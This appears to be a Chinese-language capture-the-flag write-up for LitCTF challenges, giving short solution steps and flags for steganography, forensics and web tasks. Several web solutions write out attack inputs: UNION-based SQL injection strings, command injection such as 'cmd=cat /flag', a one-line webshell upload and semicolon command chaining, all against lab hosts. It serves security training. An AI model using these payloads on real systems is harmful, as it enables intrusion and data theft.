知识点: base64
解题步骤:
LitCTF{KFC_Cr4zy_Thur3day_V_me_50}
知识点:流量分析
解题步骤:
wireshark打开,Ctrl+F 按图示设置搜索flag |
LitCTF{Give_y0ur_hand_to_me!!!_plz}
知识点:图片隐写
解题步骤:
010 Editor打开,搜索litctf |
LitCTF{Its_404_but_1ts_n0t_a_page}
知识点: 弱口令密码爆破
解题步骤:
使用ziperello工具,6位数字爆破 |
密码:114514 输入解压 |
LitCTF{Do-u-like-my-zip-p4ck?}
知识点:图片隐写(宽高)
解题步骤:
05改改06 07还差点,08就够高了 |
06 33 的06 是宽度
07 dc 的07 是高度
LitCTF{Fl4g_0fcourse!}
比赛时用工具CRC计算一把梭
知识点:文件头及其十六进制
解题步骤:
根据题目猜测为png图片
补充七位文件头:89 50 4E 47 0D 0A 1A 0A 保存,修改后缀名为.png后打开 |
LitCTF{May you, the beauty of this world, always shine.}
知识点:svg格式,base64转文件,steghide爆破
解题步骤:
打开看到源码处有base64编码,提取出来 |
放入在线网站转换 |
保存jpg文件,010查看 |
保存jpg文件到kali,steghide本身没有爆破功能,这里使用stegseek爆破 |
LitCTF{svg?_base642png!&steghide!}
知识点: 查询源代码
解题步骤:
查询源代码 |
NSSCTF{35a119e1-89cf-4133-88d0-61a81d8303f5}
LitCTF{First_t0_The_k3y! (1/?)
知识点:查找js源码
解题步骤:
找到game.js,代码过第六关的时候会弹出flag,flag泄露 |
flag{y0u_w1n_th1s_!!!}
知识点: get post 备份文件
解题步骤:
NSSCTF{64b164d6-78e9-4fff-b0a6-51804ca156d7}
dirsearch走一波 |
url/www.zip 下载文件 |
文本打开bak文件 |
_R3ady_P14yer_000ne_(3/?)
ps:这里cookie要等于flag的,但是我火狐没开cookie就跳过了好像,直接出flag了。0.0
知识点:linux,php语言
解题步骤:
system('cat /flag'); |
NSSCTF{28ceaa6e-ec30-4105-9f80-07148c37f547}
受不了一点
知识点: vim泄露
解题步骤:
vim在编辑文档的过程中如果异常退出,会产生缓存文件,第一次产生的缓存文件后缀为.swp,后面会产生.swo
URL/index.php.swp 或者 .index.php.swp 下载缓存文件
这里/.index.php.swp下载文件 |
紧接放入vim看看 口令:vim xxx.swp |
看不到啥东西,试试直接记事本打开看看 |
有php代码,看看逻辑 POST一个参数cmd,cmd的值将作为系统命令执行 并且告诉我们值为Give_Me_Your_Flag |
构造cmd=cat /flag 得到flag |
NSSCTF{2b0de9e7-8e90-411a-8659-4ad5ede0a36e}
知识点:文件上传,一句话木马
解题步骤:
源代码注释处发现用户名和密码
用户名:admin,密码:admin 登录 |
上传一句话木马文件进去 |
进入一句话木马文件内,然后运行口令即可 |
NSSCTF{2d63a23c-8552-48d1-b029-61a727e60845}
进入https://github.com/ProbiusOfficial/My_pic/blob/main/demo.jpg |
_S0_ne3t? (2/?)
知识点: sql手工注入
解题步骤:
Get一个参数id,给出源码,闭环为6个)
题目给出了列名是 username,password 两个,所以我们也不需要用Order by去爆破列名了
爆破顺序:列数>库>表>列(字段)
列:column,库:schema,表:table
爆库:?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata --+ |
复现只看flag的库:ctftraining
爆表:?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+ |
爆列:?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'ctftraining' --+ |
得知flag列在flag表在ctftraining库的flag表中,那么将这个列的信息抓出来看看 |
NSSCTF{3dbfe5bc-0522-4019-aabb-0281184cbf45}
搜索2就行 |
F1rst_to_Th3_eggggggggg!
知识点: ip-Referer-UA头-via
解题步骤:
复现就不一步一步展示了,这里一次性列出:
|
访问/wtfwtfwtfwtf.php
按钮都是无用项,在源码注释处找到hint
访问/sejishikong.php |
NSSCTF{82fca04a-f925-4382-bff5-4fea98e39196}
知识点:联合执行,burpsuite
解题步骤:
这里展示 ; ---> %3B ‘cmd1;cmd2 无论前面执行是否成功后面都继续执行’ |
NSSCTF{53ee44eb-716a-4534-90ce-3a6562e1ec91}
PS:
当完成某个条件后能够直接弹出 flag,说明 flag 的展示逻辑已经在服务器端实现了,完成条件会触发服务器端返回 flag 的响应。
而当使用 Burp Suite 抓包并发送请求时才能找到 flag,可能是因为 flag 的展示逻辑被实现在客户端的 JavaScript 代码中,而不是服务器端。在这种情况下,完成条件只是触发了客户端的 JavaScript 代码执行,然后根据返回的数据进行处理展示。因此,通过使用 Burp Suite 抓包并修改请求,可以在发送给服务器之前修改请求中的参数,使得服务器返回 flag。
解题步骤:
Your gift just take it : /[email protected] 访问http://node2.anna.nssctf.cn:28116/[email protected] |
全选放控制台 |
NSSCTF{9b94a89d-ed34-481e-ba8c-b89f9e757a86}
解题步骤:
彩蛋分布于 我Flag呢 Follow me and hack me 作业管理系统 狠狠的注入 四个题目 中 |
LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_P14yer_000ne_F1rst_to_Th3_eggggggggg!}
知识点: gitcommit,github历史记录
解题步骤:
访问博客 |
点进第一个博客 |
根据wp思路,前往github直接搜索ProbiusOfficial.github.io |
这两个都可以,一个是原本,一个是删除flag的,但是操作记录保留了 |
LitCTF{g1thub_c0mmit_1s_s0_us3ful}
知识点:伪造session
解题步骤:
密钥:'LitCTF'
工具:flask-unsign
脚本:
Python |
NSSCTF{d971096e-fa62-43a7-be60-70acbd180d12}